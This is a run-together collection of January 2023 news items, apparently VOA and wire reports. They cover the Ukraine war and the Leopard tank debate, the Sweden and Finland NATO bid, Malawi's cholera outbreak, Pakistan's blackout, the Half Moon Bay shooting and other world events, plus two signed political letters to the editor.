4:30 a.m.: NATO Secretary General Jens Stoltenberg is confident the alliance will find a solution soon on the delivery of battle tanks to Ukraine, he said after meeting Germany's defense minister on Tuesday.

"At this pivotal moment in the war, we must provide heavier and more advanced systems to Ukraine, and we must do it faster," Stoltenberg told reporters, standing alongside German Defense Minister Boris Pistorius.

"I therefore welcome our discussion today. We discussed the issue of battle tanks. Consultations among allies will continue and I'm confident we will have a solution soon," Stoltenberg added.

Speaking alongside Secretary General of NATO Jens Stoltenberg, German Defense Minister Boris Pistorius on his part said there was no disunity among allies about sending heavy battle tanks to Ukraine and stressed that Berlin would act quickly if there was a positive decision to do so. Pistorius said NATO must not become a party to the war in Ukraine.

4 a.m.: Ukraine's deputy defense minister responsible for supplying troops with food and equipment resigned on Tuesday morning, citing "media accusations" of corruption that he and the ministry say are baseless.

Reuters reported that a statement on the defense ministry's website said that Vyacheslav Shapovalov's resignation was "a worthy deed" that would help retain trust in the ministry.

Ukraine's Deputy Prosecutor General Oleksiy Symonenko was also removed from his post during a shakeup of senior officials on Tuesday, the Prosecutor General's Office said.

The statement announcing his removal gave no reason for the decision but said it had been "according to his own wish."

3:30 a.m.: Finland's foreign minister said on Tuesday a timeout of a few weeks is needed in the talks between Finland, Sweden and Turkey on the two Nordic nations' plans to join the NATO military alliance.

Turkey's president said on Monday that Sweden should not expect his country's support for NATO membership after a protest near the Turkish embassy in Stockholm at the weekend including the burning of a copy of the Koran.

"A timeout is needed before we return to the three-way talks and see where we are when the dust has settled after the current situation, so no conclusions should be drawn yet," Foreign Minister Pekka Haavisto told Reuters in a telephone interview.

"I think there will be a break for a couple of weeks," he added.

Sweden and Finland applied last year to join North Atlantic Treaty Organization after Russia's invasion of Ukraine.

They now need the backing of all current NATO states to progress with their application.

But alliance member Turkey has said Sweden in particular must take a clearer stance against what Ankara sees as terrorists, mainly Kurdish militants and a group it blames for a 2016 coup attempt in Turkey.

Finland and Sweden have repeatedly said they plan to join the alliance simultaneously, and this has not changed, Haavisto said.

"I do not see the need for a discussion about that," Haavisto said when asked whether Finland could potentially go ahead without Sweden.

3 a.m.: Russia's Gazprom said it would ship 24.4 million cubic meters (mcm) of gas to Europe via Ukraine on Tuesday, Reuters reported.

2:35 a.m.:

2 a.m.: Planned amendments of Russia's transportation law will make it mandatory for people to book a time and place for any intended crossing of the border by car, Reuters cited the TASS news agency as reporting, raising the possibility of new restrictions on travel.

"The passage of vehicles ... in order to cross the state border of the Russian Federation is carried out on a reserved date and time in accordance with the procedure established by the government," the agency said later on Monday, citing a draft amendment it said was due to come into force on March 1.

Following Russia's invasion of Ukraine in February last year, many Russian citizens and residents fled from the country, with the number growing significantly after the government declared the mobilization of some 300,000 personnel for the military in September.

While precise totals are not available, the number of Russians who have left could run into hundreds of thousands, according to media reports and figures released by neighboring countries.

1:45 a.m.: The deputy head of Ukraine's presidential office, Kyrylo Tymoshenko, said on Tuesday he had asked President Volodymyr Zelenskyy on Monday to relieve him of his duties, Reuters reported.

"I thank the President of Ukraine Volodymyr Zelenskiy for the trust and the opportunity to do good deeds every day and every minute," Tymoshenko wrote on the Telegram messaging app.

A decree accepting Tymoshenko's resignation was published on the president's website.

1:30 a.m.: Ukrainian President Volodymyr Zelenskyy said personnel changes were being carried out at senior and lower levels, following the most high-profile graft allegations since Russia's invasion that threaten to dampen Western enthusiasm for the Kyiv government, Reuters reported.

Reports of a fresh scandal in Ukraine, which has a long history of shaky governance, come as European countries bicker over giving Kyiv German-made Leopard 2 tanks  the workhorse of armies across Europe that Ukraine says it needs to break through Russian lines and recapture territory.

"There are already personnel decisions  some today, some tomorrow  regarding officials at various levels in ministries and other central government structures, as well as in the regions and in law enforcement," Zelenskyy said in his nightly video address on Monday.

Zelenskyy, who did not identify the officials to be replaced, said his plans included toughening oversight on traveling abroad for official assignments.

Several Ukrainian media outlets have reported that cabinet ministers and senior officials could be sacked imminently.

1 a.m.: Reuters reported that Ukraine has imposed sanctions on 22 Russians associated with the Russian Orthodox Church for what President Volodymyr Zelenskyy said was their support of genocide under the cloak of religion.

According to a decree issued by the National Security and Defense Council of Ukraine, the list includes Mikhail Gundayev, who represents the Russian Orthodox Church in the World Council of Churches and other international organizations in Geneva.

Russian state media reported that Gundayev is a nephew of the leader of the Russian Orthodox Church, Patriarch Kirill. Ukraine sanctioned Kirill last year.

The sanctions are the latest in a series of steps Ukraine has taken against the Russian Orthodox Church, which has backed President Vladimir Putin's invasion of Ukraine that is now entering its 12th month.

"Sanctions have been imposed against 22 Russian citizens who, under the guise of spirituality, support terror and genocidal policy," Zelenskyy said in his nightly address late on Monday.

He said the punitive measures said that they would strengthen the country's "spiritual independence."

A majority of Ukrainians are Orthodox Christians and competition has been fierce between the branch of the church historically linked to Moscow and an independent church proclaimed after independence from Soviet rule in 1991.

12:25 a.m.:

12:01 a.m.: Berlin public prosecutors said on Monday they had launched a preliminary investigation into Russky Dom, a cultural promotion organization in Berlin that is part of a Russian government agency subject to European Union sanctions, Reuters reported.



Early this month, a Reuters investigation revealed that, despite the sanctions, Russky Dom  which means "Russian House"  had purchased airline tickets for two pro-Russia activists living in Germany to travel to a Kremlin-backed conference in Moscow.



"I can confirm that a complaint was filed in relation to the 'Russian House' and that an investigation was initiated," Karen Sommer, a spokeswoman for the Berlin prosecutors' office said in an emailed response to Reuters queries.



She did not answer specific Reuters questions on the content of the investigation, or what had prompted it, saying that the probe was at a preliminary stage and no further information could be shared for the moment.

Some information in this report came from Reuters, Agence France-Presse and The Associated Press.
Malawi has appealed for more than 7 million additional doses of cholera vaccine from the World Health Organization as it struggles to control a record outbreak of the bacterial illness.

The WHO donated almost 3 million doses of the vaccine to Malawi in November but those were quickly used up. Since March of last year, almost 30,000 people have been infected and nearly 1,000 have died.

The appeal for more cholera doses comes as Malawi continues to register an increase in cases that have now affected all of its 29 districts.

The spokesperson for the health ministry, Adrian Chikumbe, said talks with the WHO are underway.

We are expecting a consignment of 7.6 million doses for 17 districts, but we are going to also consider districts that are hard hit with the current outbreak, Chikumbe said.

The Ministry of Health said Tuesday that there is no indication Malawi will receive the vaccine any time soon because many other countries are also pressing the WHO on the same issue.

The World Health Organization first supported Malawi with 3.9 million doses of the oral cholera vaccine last May, after the outbreak was reported in March.

The country received another consignment of 2.9 million doses in November through the WHO and the U.N. children's agency, UNICEF.

Maziko Matemba, community health ambassador in Malawi, said the vaccine shortage shows a change in attitude toward the shots.

We had a similar situation with COVID-19 where we had low uptake when we saw more people getting sick and more people dying, Matemba said. So I am hoping WHO and the government of Malawi will take it as an advantage that now we have high uptake, people are demanding the vaccine. Some of us have even received calls where people want to access the vaccine. So I am hoping this time we will utilize the demand.

Cholera is an acute diarrheal disease that can kill within hours if left untreated.

Malawi is currently battling its worst cholera outbreak in a decade, largely blamed on poor sanitation and hygiene.

The hard-hit districts include Malawis capital, Lilongwe, and commercial hub Blantyre

Wongani Mbale, health promotion officer for the Blantyre District Health Office, said the main cause of cholera is the use of unsafe water.

[In] Blantyre the population is growing due to urbanization, so the source of water is so scarce, so people are resorting into using the unsafe sources of water, Mbale said.

The Malawian government is reconnecting water kiosks in hard-hit areas. They had been disconnected because of unpaid water bills.

As the country awaits another supply of cholera vaccine, health authorities have intensified campaigns on preventive measures, like eating boiled foods, washing hands with soap before eating and using toilets.
Israeli Prime Minister Benjamin Netanyahu made a surprise trip to Jordan on Tuesday to meet with King Abdullah II, his first visit since taking power at the helm of Israel's most right-wing and religiously conservative government in history.

Jordan's official statement suggested that the rare meeting between the leaders, who have long had a rocky relationship, dealt primarily with the status of a sensitive holy site in the Old City of Jerusalem. The sacred compound  the third-holiest site in Islam  sits on a sprawling plateau also home to the iconic golden Dome of the Rock. It is revered by Muslims as the Noble Sanctuary and by Jews as the Temple Mount.

Jordan's royal court said the king urged Israel to respect the status quo at the sacred compound, which allows Jews to visit during certain hours and bars them from praying openly there. The government also said King Abdullah II pushed Israel to "stop its acts of violence" that undermine hopes for an eventual peaceful settlement to the decadeslong Israeli-Palestinian conflict.

Netanyahu's office said he discussed vaguely defined "regional issues" and security and economic cooperation with Jordan, a key regional ally.

Tensions have simmered between the neighbors over Israel's new ultranationalist government, which took office late last year. Already, the Jordanian government has summoned the Israeli ambassador twice since the new government took office  both times after an incident at the Al-Aqsa Mosque compound.

The compound is administered by Jordanian religious authorities as part of an unofficial agreement after Israel won control of east Jerusalem in the 1967 Mideast war. Israel is in charge of security at the site.
Human rights activists are welcoming the United States' appointment of an envoy for North Korean human rights, a position that had been vacant for six years.

The White House late Monday announced it would appoint Julie Turner, a veteran State Department foreign affairs officer, who has long focused on North Korea human rights issues.

Turner, who must be confirmed by the Senate, is currently the director of the East Asia and Pacific office of the State Department's Bureau of Democracy, Human Rights, and Labor.

She has worked in the office for 16 years, during which she has "primarily focused on initiatives related to promoting human rights in North Korea," according to a White House press release.

Under a law initially passed by Congress in 2004, the U.S. president must appoint a special envoy for North Korean human rights. However, no one has served in the position since 2017, when U.S. President Barack Obama's special envoy stepped down.

Former President Donald Trump, who prioritized his personal relationship with North Korean leader Kim Jong Un, never appointed a North Korean human rights envoy. Trump's first secretary of state, Rex Tillerson, at one point proposed eliminating the position.

It's unclear why it took President Joe Biden two years to name an appointee, especially since Biden has said he will prioritize human rights issues. Nonetheless, activists praised the move, calling Turner an ideal fit.

Turner is "terrific, with full awareness and understanding about the North Korean human rights situation," according to Lee Shin-wha, South Korea's human rights envoy for North Korea.

"I am so pleased to get the news and look forward to closely cooperating with this highly capable lady," Lee told VOA.

Greg Scarlatoiu, executive director for the Washington D.C.-based Committee for Human Rights in North Korea, said Turner is "a truly great scholar and champion of North Korean human rights."

Once confirmed, Scarlatoiu said he hopes the new envoy will adopt a "human rights up front approach" to North Korea.

North Korea is a totalitarian state that tightly restricts nearly every aspect of its citizens' civil and political liberties, including freedom of expression, assembly, association, religion and movement. It consistently ranks at or near the bottom of global human rights rankings.

Activists say the situation has worsened during the COVID-19 pandemic, which has been used as a pretext to sever the country's already fragile links to the outside world.

"It's the darkest period in the history of human rights in North Korea, believe it or not," Scarlatoiu said.

During Turner's time at the State Department's Bureau of Democracy, Human Rights and Labor, the office has been involved with several projects that aim to promote the free flow of information into and out of North Korea and raise awareness of North Korea's rights violations.

North Korea has not reacted to Turner's nomination. It often becomes enraged when other countries or international bodies mention its rights violations.

However, at various points, North Korea has interacted with the U.S. human rights envoy  including in 2011, when Ambassador Robert King led a mission to assess North Korea's food situation.

It's unclear whether any similar humanitarian initiatives can succeed now. In recent years, North Korea has ignored U.S. offers of pandemic assistance, shunning virtually all contact with U.S. officials.

While placing human rights at the forefront of engagement with North Korea is not easy, Turner is "precisely the sort of savvy and strategic representative to get difficult things like this done," said Phil Robertson, Deputy Asia Director at Human Rights Watch.

"Turner has excelled on promoting and protecting human rights across her portfolio," Robertson said, "And she is precisely the kind of dogged advocate that rights issues in the DPRK require for any sort of change to occur."

Activist groups have long complained that human rights were not discussed during the Trump-Kim talks, which instead focused on eliminating North Korea's nuclear weapons and improving Pyongyang's relations with Washington and Seoul.

The talks broke down in 2019. North Korea has since resumed major weapons tests and says it will not resume talks until the United States drops what it calls its "hostile policy." Specifically, North Korea objects to U.S.-led sanctions that have battered its economy and the heavy U.S. military presence in the region.
In ancient Athens, the Sophists were philosophers who challenged, criticized and destroyed the foundations of traditions, as well as the moral and social order, leaving nothing in its place. The Sophists held no values other than winning and succeeding. They believed and taught that might makes right and the practical approach should be win at all costs.

Sophistry destroyed Athens, the Ancient worlds progressive light.

It should sound familiar because the Washington D.C. GOP espouses sophistry, gaslighting and lies. All this is done while claiming the mantle of orthodox Christians. Nothing could be further from the truth. Theirs is a level of hypocrisy and lies that would shame Charles Ponzi.

To quote Adam Kinzinger on Kevin McCarthy, he will say what he needs to say to stay in power.  its just a fact. What Harry S Truman said about Nixon being able to speak out of both sides of his mouth and lie at the same time, could be applied to Donald Trump the GOP leader. A Bible verse, from Christ, as more descriptive of Trump would be, John 8:44, When he lies, he speaks his native language, for he is a liar and the father of lies.

The corrosive nature of the Washington GOP is dissolving the unifying impulses in this country. They as a group have been reduced to frauds serving a petty tyrants vanity.

Washington D.C. is not as it ought to be. It must reflect what is good, right, truthful and moral, before the beckon of light for the world disappears.

Bill Licata

Buffalo
Pakistan announced Tuesday that electricity had been restored to much of the country of an estimated 220 million peoplea day after a major power system failure caused a nationwide blackout, including in the capital, Islamabad.

Energy Minister Khurram Dastgir said a sudden voltage fluctuation in the north-south transmission line was behind the outage, which began Monday morning, noting its cause was not yet known.

Dastgir told reporters in Islamabad that a high-level government investigation was underway to determine the reason for the technical fault that he said triggered the power failure and affected nearly the entire country.

We know when it happened, how it happened, how much happened, but its source is yet to be determined, he said. We also suspect an external intervention such as hacking of our [power distribution] system, but we will leave it for the investigation to determine it.

Pakistan has previously experienced major power breakdowns. They include nationwide daylong outages last October and in May of 2018. Authorities also blamed technical glitches at the time, though they did not make public results of subsequent investigations.

"We learned lessons from yesterday that we need to invest in the distribution system," Dastgir said Tuesday. "The government plans to add more power distribution lines within the next 36 months," he added.

Residents in major cities, including the southern port city of Karachi and the eastern city of Lahore, complained of an intermittent outage on Tuesday. Dastgir said the problem would be resolved over the next couple of days, emphasizing that coal-based and nuclear power plants take time before resuming normal operations.

Representatives of the textile mills association said the blackout inflicted estimated losses of $70 million on the industry, Pakistans largest exporter and crucial booster of foreign exchange reserves.

Critics say Pakistans power network, like much of the national infrastructure, needs an upgrade, blaming rampant corruption and governance issues for persistent losses on the transmission and distribution side.

This is not just an issue of too much demand and too little supply. It goes much further than that. It goes into bigger issues involving finances and governance with the energy sector itself, said Michael Kugelman, the South Asia Institute director at the Wilson Center in Washington.

Kugelman said while Pakistan does not charge all that much for the use of electricity, many people dont pay their electricity bills. The energy sector itself is simply very troubled. One of the biggest problems is debt and a lack of funding on the whole within the sector. The energy infrastructure is so weak and old, and theres not enough money to maintain and repair it. They just have all kinds of wastage and losses.

Pakistan has enough installed power generation capacity to meet domestic demand. China has invested in Pakistans power sector, building coal-fueled power plants in the country in recent years as part of its global Belt and Road initiative.

But dwindling foreign exchange reserves and economic troubles have not allowed Islamabad to invest in improving its national transmission and distribution mechanisms.

Monday's outage came as millions of Pakistanis in parts of the country already suffer partially scheduled daily power cuts, officially known as load shedding. The South Asian nation is facing a severe economic crisis forcing the government to implement energy conservation plans to reduce consumption.

Lingering political turmoil and differences with the International Monetary Fund (IMF) over the review of an ongoing financial bailout package have prevented the global lender from releasing its latest tranche for cash-strapped Pakistan, fueling economic uncertainty.
Poland said Monday it will send its German-made Leopard 2 tanks to Ukraine, regardless of any objections from Berlin. Several European armies operate the tanks but require Germanys approval to re-export them to Ukraine.

We will apply for such consent [from Germany], but this is a secondary topic, Polish Prime Minister Mateusz Morawiecki told reporters. Even if we do not get this consent in the end, as part of a small coalition  even if the Germans would not be in this coalition  we will still hand over our tanks together with others to Ukraine, he added.

Morawiecki did not elaborate on which countries could be part of such a coalition. Lithuania and Finland have said they would be willing to send their Leopard 2 tanks to Ukraine, but they have not indicated that they would be willing to do so against Germanys wishes.

German pressure

Germany is under intense pressure from Ukraine and Western allies to send its highly regarded Leopard 2 tanks to aid Kyivs forces but is refusing to make a quick decision.

Following a meeting Friday in Ramstein, Germany, of the Ukraine Defense Contact Group  an alliance of about 50 states giving military support to Kyiv  Germanys new defense minister, Boris Pistorius, explained his countrys hesitancy.

The impression which sometimes arose that there is a united coalition and that Germany is blocking it  is wrong, Pistorius said. There are good reasons for a delivery, and there are good reasons against it. And in light of the overall situation of the war, which has lasted nearly a year already, all pros and cons must be weighed very carefully, Pistorius said.

Ukraine appeal

Ukraine says it urgently needs modern Western tanks to repel Russias invasion and launch a new offensive in the spring. In recent days its president has appealed to allies for more weapons.

I am truly grateful to all of you for the weapons you have provided, every unit helps to save our people from terror. But time remains a Russian weapon, Ukrainian President Volodymyr Zelenskyy told the leaders gathered Friday in Ramstein, via video link from Kyiv. We have to speed up. Time must become our common weapon, just like air defense and artillery, armored vehicles and tanks, which we are negotiating about with you and which, actually, will make the victory, Zelenskyy said.

Britain last week confirmed plans to send 14 of its Challenger 2 main battle tanks. The United States and France have not ruled out sending Ukraine their main tanks, the Abrams and the Leclerc.

Germanys Leopard 2 tank is seen as the most suited to the battlefield, partly owing to its relatively lower fuel consumption and limited Ukrainian supply lines. European armies have hundreds in their arsenals that could be rapidly deployed to Ukraine.

Domestic politics

Speaking Sunday, Germanys foreign minister, Annalena Baerbock  a member of the Green party, part of the ruling coalition  said her country would not prevent others from sending Leopard tanks: For the moment the question has not been asked, but if we were asked, we would not stand in the way, Baerbock said.

Domestic political tensions between the ruling coalition partners are causing confusion, says analyst Benjamin Tallis of the German Council on Foreign Relations.

[Baerbocks statement] doesnt actually equate to permission because of the national security considerations in this case. It is actually the chancellery  and so Olaf Scholz himself  who would have the final yes or no say on this. And as his new defense minister, Boris Pistorius, said on Friday, he has not decided yet, Tallis told VOA.

Nuclear fears

Analysts say the Kremlins nuclear saber-rattling is causing concern in Berlin.

The chancellery is enormously afraid of nuclear war, and they perceive that they are the prime target for that. I dont know how this strange perception came about  I have a bit of an impression that Scholz has lost sight of the fact that Germany is actually a part of the NATO alliance, Gustav Gressel, of the European Council on Foreign Relations, told Reuters.

Tallis agrees. Russian propaganda has been targeting Germany in particular to try and sow this nuclear fear and try and make them more vulnerable to the kind of nuclear blackmail that now seems to be working.

Unlike many of its Western allies, Tallis said Germany has not yet called for a complete Ukrainian victory over Russia. Its quite widely accepted now I think that should there be a decisive defeat for either side in this war, it will have a system-transforming effect. Germany  doesnt seem up yet to the task of facing that level of change. I think theres a nervousness about that as well, he told VOA.
Indias annual kite-flying competition turned deadly this year as competitors used specially-coated strings to disable their opponents kites.

Police say six people were killed in the Indian state of Gujarat during the January 14 festival after their throats were sliced by glass-coated kite strings.

Three children, including a two-year-old baby, were among those killed after the glass-encrusted razor-sharp stringsused by kite fighters participating in the Uttarayan festivalgot entangled around their necks and slit their throats.

As thousands of mostly young revelers across different districts of the state flocked to open fields and rooftops during the festival and flew their kites toward the sky, at least 176 people also got injured by the strings and falls from the high vantage points, Gujarat police reported.

While flying kites, fighters often engage in a type of aerial combat, attempting to slice the kite strings of rivals with their own. During these fights, the strings sometimes swing closer to the ground or get entangled on trees and electrical poles, sometimes causing accidents like those that took place in Gujarat.

Traditionally, kite strings were made of cotton threads. But in recent years, Indian kite fighters have been using sharp nylon or synthetic strings coated with powdered glass called Chinese manjha  Chinese string, in Hindi  that is almost exclusively made in India. Manjha, which originated in China, does not break easily.

In the Gujarat city of Bhavnagar, Kirti Thakur, a 2-year-old girl was riding on a scooter with her father when a dangling kite string wrapped around her neck. The string penetrated even deeper when the father tried to remove it. She died in the hospital a day later.

A 3-year-old girl identified only as Kismat was walking with her mother when a kite string struck her neck and slit her throat. She died on the way to the hospital.

A week after the festival, Gujarat Police reported that all those killed and injured in the festival were struck by manjha.

Illegal

Manjha has been banned in India since 2017, and anyone caught selling or using the killer string faces fines of up to 100,000 rupees ($1,230) and jail terms of up to five years. Beyond police raids targeting manjha sellers, the ban is rarely enforced.

Despite the stiff penalties, usage remains widespread, especially by young people during kite-flying season and festivals.

Muthupandian Palanisamy, a Chennai-based animal welfare activist, say it is possible that manjha kills or injures thousands of birds annually.

When they fly into the Chinese manjha, [the] kite strings, they cause deep gashes to their wings, necks and legs. Often, they fall on the ground with their injuries and become immobile, Palanisamy told VOA. Rarely [does] a bird happen to receive emergency treatment for its injuries, and in many cases, they die eventually.

The police usually register human injuries or deaths caused by the kite strings, but rarely the injuries or deaths of wild birds are properly kept track of in India, he added. There is no doubt that thousands of birds get injured by the killer kite strings.

Many locals say it is difficult to put a stop to manjhas use in India.

You can get Chinese manjha everywhere in India, said Kruti Desai, a teacher in Surat, Gujarat. They are available in underground markets across the country, in cities, small towns and even villages. One can also buy it online.

Every year, Chinese manjha is killing dozens of people and an unknown number of birds in India, she added. There must be stricter police surveillance, enforcing the ban on this killer string.
Since Kenya began its voluntary refugee repatriation program in 2017, more than 85,000 Somali refugees have resettled back home. But due to record drought in the Horn of Africa, thousands of them have returned to Kenya's Dadaab refugee camp to seek relief. As Juma Majanga reports from Dadaab, those who have returned are finding themselves locked out of aid programs because Kenya has banned the registration of new refugees.
Rwanda's government said on Tuesday that a fighter jet from Democratic Republic of Congo had violated its airspace, prompting its defense force to fire in response.

A video shared widely on Congolese social media showed a projectile shooting toward an airborne military plane, before exploding in the air near the plane, which continued to fly. Reuters could not immediately verify the video.

The incident is the latest dispute between the two countries whose relationship has been strained by a rebel insurgency.

Congo, United Nations experts and Western powers have accused Rwanda of backing the M23 rebel group in eastern Congo, which seized several towns and villages in offensives last year. Rwanda has denied any involvement.

Regional leaders brokered an agreement in November under which the Tutsi-led group was meant to withdraw from recently seized positions by January 15 as part of efforts to end a conflict that has displaced at least 450,000 people.

Congolese President Felix Tshisekedi said last week that the rebels had not fully withdrawn from those areas.

"The RDF (Rwanda Defense Force) fired at the fighter jet from DRC that violated Rwandan airspace in Rubavu  same area as previous violations," Rwandan government spokesperson Yolande Makolo said in a statement.

Makolo said the jet violated its airspace at 5:03 p.m. local time, prompting the government to take defensive measures against it. "Rwanda asks the DRC to stop this aggression," she said.

When asked for comment, the Congolese government said it was preparing a statement.

In December, Rwanda said another fighter jet from Congo had briefly violated its air space.

An unarmed Congolese warplane also briefly landed at a Rwandan airport in November while on a reconnaissance mission near the border, in what Congo said was an accident.
Several senior Ukrainian officials announced their resignations Tuesday amid what President Volodymyr Zelenskyy said would be some personnel changes in his government.

Deputy Defense Minister Viacheslav Shapovalov, who was in charge of logistical support for Ukraines forces, stepped down from his post, citing allegations about a food procurement scandal that he denies.

Deputy Prosecutor General Oleksiy Symonenko and the deputy head of Zelenskyys office, Kyrylo Tymoshenko, also resigned without giving reasons for their departures.

There are already personnel decisions  some today, some tomorrow  regarding officials at various levels in ministries and other central government structures, as well as in the regions and in law enforcement, Zelenskyy said in his evening address Monday.

German tanks

German Defense Minister Boris Pistorius said Tuesday his governments decision on whether to approve exports of German-made Leopard 2 tanks to Ukraine will come very soon.

Speaking alongside NATO Secretary General Jens Stoltenberg after talks in Berlin, Pistorius told reporters that the ongoing review includes examining Germanys tank stocks and considering compatibility issues.

Facing pressure from allies, including those in possession of Leopard tanks that want to send them to Ukraine, Pistorius stressed there is unity in the NATO alliance and said that while some countries want to move faster than others, they are not divided.

Stoltenberg said consultation among allies on the tank issue will continue and that there will be a solution soon.

He welcomed Germanys message to allies that if they have Leopard tanks and want to make them ready and train Ukrainian forces to use them, those countries are urged to start that work.

At this pivotal moment in the war, we must provide heavier and more advanced systems to Ukraine, and we must do it faster, Stoltenberg said.

He added that providing battle tanks to Ukrainian forces is important in order to both repel Russian advances and to help Ukraine retake its territory.

Polands Defense Minister Mariusz Blaszczak said Tuesday that Germany had received Polands request for consent to send the German-made tanks to Ukraine.

I am also calling on the German side to join our coalition of countries supporting Ukraine with Leopard 2 tanks," Blaszczak tweeted.

Polands prime minister said Monday his country was building a coalition of nations ready to send Leopard tanks to Ukraine even if Germany does not give formal permission.

U.S. State Department spokesman Ned Price on Monday highlighted other military aid that Germany has sent to Ukrainian forces, saying, Germany has stepped up in a big way.

U.S. defense officials have resisted sending their own Abrams M1 tanks to Ukraine, citing their complex training and maintenance needs.

Price said Monday Ukraine does have tanks in service, and that the United States has helped Ukrainian forces add more to their fleet.

We have worked with them to obtain former Soviet-made and Russian-made tanks that theyre already trained on, they know how to use, they can put to use right away, they can repair them, they can keep them operational, and most importantly, they can be effective with them, Price said.

VOA's National Security Correspondent, Jeff Seldin, contributed to this report. Some information came from The Associated Press, Agence France-Presse and Reuters.
An agricultural worker killed seven people at the farm where he worked and at another business in Northern California, plunging the state into mourning again in the wake of its third mass killing in eight days.

Officers arrested a suspect in Mondays shootings, 67-year-old Chunli Zhao, after they found him in his car in the parking lot of a sheriffs substation, San Mateo County Sheriff Christina Corpus said.

Seven people were found dead and an eighth wounded at a farm and another location several miles away, the Sheriffs Office said. Officials have suspected that Zhao worked at one of the facilities and that the victims were workers as well, Corpus said. Officials havent determined a motive for the shooting.

San Mateo County Sheriff Christina Corpus confirmed Tuesday that Zhao was an employee at Mountain Mushroom Farm. She says that the only known connection between the shooter and his victims is that they may have been coworkers.

The sheriffs office said seven of the victims were men and one was a woman. Some were Asian and others were Hispanic, and some were migrant workers.

Aerial television images Monday showed police officers collecting evidence from a farm with dozens of greenhouses, which appeared to be the location where police found four dead. On Tuesday morning, police continued to block off the location.

On Jan. 16, a teenage mother and her baby were among six people killed in a shooting at a home in Californias Central Valley. Officials discussing the investigation mentioned a possible gang link to the killings.

California was still reeling Tuesday from an attack on a Lunar New Year celebration in Monterey Park that killed 11 and cast a shadow over an important holiday for many Asian-American communities. Authorities are still seeking a motive for the Saturday shooting.

For the second time in recent days, California communities are mourning the loss of loved ones in a senseless act of gun violence," President Joe Biden said Tuesday morning. Even as we await further details on these shootings, we know the scourge of gun violence across America requires stronger action.

The new year has brought six mass killings in the U.S. in fewer than three weeks, accounting for 39 deaths. Three have occurred in California since January 16, according to a database compiled by The Associated Press, USA Today and Northeastern University. The database tracks every mass killing  defined as four dead not including the offender  committed in the U.S. since 2006.

The killings occurred on the outskirts of Half Moon Bay, a city about 48 kilometers south of San Francisco.

Half Moon Bay Vice Mayor Joaquin Jimenez said the victims included Chinese and Latino farmworkers. Some workers lived at one of the facilities and children may have witnessed the shooting, she said. Corpus said it wasnt immediately clear how the two locations were connected.

The Sheriffs Office first received reports of a shooting in the afternoon and found four people dead and a fifth wounded at the first scene. Officers then found three more people fatally shot nearby, Capt. Eamonn Allen said in a news release.

About two hours later, a sheriffs deputy spotted Zhaos car parked outside a sheriffs substation in a strip mall and arrested him.

A video of the arrest showed three officers approaching a parked car with drawn weapons. Zhao got out of the car, and the officers pulled him to the ground, put him in handcuffs, and led him away. A weapon was found in his vehicle, officials said. The video was captured by Kati McHugh, a Half Moon Bay resident who witnessed the arrest.

The sheriffs department believes Zhao acted alone.

Were still trying to understand exactly what happened and why, but its just incredibly, incredibly tragic, said state Sen. Josh Becker, who represents the area and called it a very close-knit agricultural community.

Half Moon Bay is a small coastal city with agricultural roots, home to about 12,000 people. The surrounding San Mateo County is a mixture of coastal cities and hills dotted with farms, included floral and tree nurseries as well as ranches. The county also allows cannabis to be grown in greenhouses and at nurseries in some areas.

Its a majority-white community. About a third of the population is Latino and about 5% is Asian, according to Census data.

We are sickened by todays tragedy in Half Moon Bay," said San Mateo County Supervisor Dave Pine said. We have not even had time to grieve for those lost in the terrible shooting in Monterey Park. Gun violence must stop.

California Gov. Gavin Newsom tweeted that he was "at the hospital meeting with victims of a mass shooting when I get pulled away to be briefed about another shooting. This time in Half Moon Bay. Tragedy upon tragedy."
South Africa's record power cuts have forced small businesses to rely on expensive generators to keep running, threatening their existence and the country's economic growth. Those businesses include Soweto Creamery, which was praised by South African President Cyril Ramaphosa for opening its doors with the help of government COVID grants. But the creamery and many other businesses may not survive the latest epidemic of rolling blackouts, as Zaheer Cassim reports from Johannesburg.
A so-called space environmentalist is working to make the public more aware about space debris by tracking its movement in real time on a website. He says we need to think about space as an ecosystem. Deana Mitchell has the story. Camera: Deana Mitchell Produced by: Deana Mitchell
The Democratic Party is famous for double-standards these past years. I remember Biden during the debates for the presidency stating that Donald Trump was responsible for 220,000 deaths from Covid-19 and that he should have resigned from office.

This raid on Trumps home in Florida for taking secret documents was a farce for all ages. And within hours, Jan. 9, the news media reported that Biden, while vice president, had secret documents that were found in his private office. Now what? Will Biden be investigated and scorned like Trump has been these past years? I sincerely doubt it. Double-standards, folks. Maybe with this new Congress some justice might come to light for once. Im not betting any money on it though.

One last observation  Biden visited El Paso on Jan. 9 to view the border for the first time as president. (Wow) The city literally cleaned up garbage from the streets to make it look like (Buffalo). He did not speak to one migrant and saw only the best version of that city. Are you serious? America, wake up to what is really going on here.

Ray Suto

Blasdell
Armed men opened fire on a bus station in southern Sudan Monday, officials said, killing at least four people and prompting authorities to declare a monthlong state of emergency.

Officials in South Kordofan province said the attack in the provincial capital of Kadugli wounded at least four others.

No group immediately claimed responsibility for the attack, which took place as the victims were heading to areas controlled by a rebel group, known as the Sudan Peoples Liberation Movement-North, local media reported.

Mousa Gaber Mahmoud, South Kordofans acting provincial governor, called the attack unfortunate, pledging that local authorities will spare no effort to regain security and stability in the province.

He said a state of emergency took effect Monday across the southern province on the border with South Sudan.

The Sudan Peoples Liberation Movement-North, led by Abdel Aziz al-Hilu, controls large swaths of the province, including the Nuba mountains. It has been fighting the government in Sudan's capital of Khartoum for decades.

A cease-fire was established between the military and the group following the removal of longtime strongman Omar al-Bashir in April 2019 amid a popular uprising against his three decades of repressive rule.

There were tensions between the two sides after a military coup removed a transitional government in October 2021, plunging the entire country into further chaos.
Samira Gawhari was studying law at Kabul University when the Taliban took power in 2021. Because of Taliban laws, she can no longer attend university, but she says she is determined to finish her degree. VOAs Afghan Service spoke with her about her future in this story narrated by Nazrana Ghaffar Yousufzai.
Sweden and Finland's NATO membership is in doubt with Turkish President Recep Tayyip Erdogan voicing opposition after demonstrators burned a Quran in Stockholm.

Finland's Foreign Minister Pekka Haavisto told a news conference Tuesday that he did not expect any progress on Finland and Sweden's NATO membership bid until after the Turkish elections later this year.

Haavisto's comments follow Ankara's outrage over demonstrators Saturday in Stockholm burning the Muslim holy book, the Quran, close to the Turkish Embassy.

Turkish President Recep Tayyip Erdogan Monday ruled out supporting Swedens bid.

Erdogan said, the "Swedish government does not need to (talk) about the rights and freedom to us. If you really do respect rights and freedom, at first, you need to respect the Turkish republic or Muslims religious beliefs. If you do not show that respect, I am sorry, you will not see any support from us regarding NATO membership.

